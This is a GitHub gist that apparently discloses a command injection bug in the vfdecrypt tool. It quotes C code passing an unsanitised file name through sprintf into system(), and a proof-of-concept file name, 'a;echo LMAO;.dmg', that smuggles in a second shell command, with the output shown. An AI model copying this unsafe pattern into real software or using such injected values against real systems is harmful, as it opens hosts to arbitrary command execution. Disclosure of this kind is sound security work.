Skip to content

Instantly share code, notes, and snippets.

@andreafioraldi
Created August 27, 2019 08:17
Show Gist options
  • Save andreafioraldi/e270380af0b171f6223e642fa1bf312a to your computer and use it in GitHub Desktop.
Save andreafioraldi/e270380af0b171f6223e642fa1bf312a to your computer and use it in GitHub Desktop.
This:
if (*cmd && *inFile) {
sprintf(cmd,
"strings %s | grep '^[0-9a-fA-F]*$' | awk '{ if (length($1) == 72) print; }'",
inFile);
system(cmd);
exit(0);
}
When running ./vfdecrypt -e -i infile.dmg there is a command injection using the infile filename.
Example:
./vfdecrypt -e -i 'a;echo LMAO;.dmg'
0x1 0x61
strings: 'a': No such file
LMAO
sh: 1: .dmg: not found
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment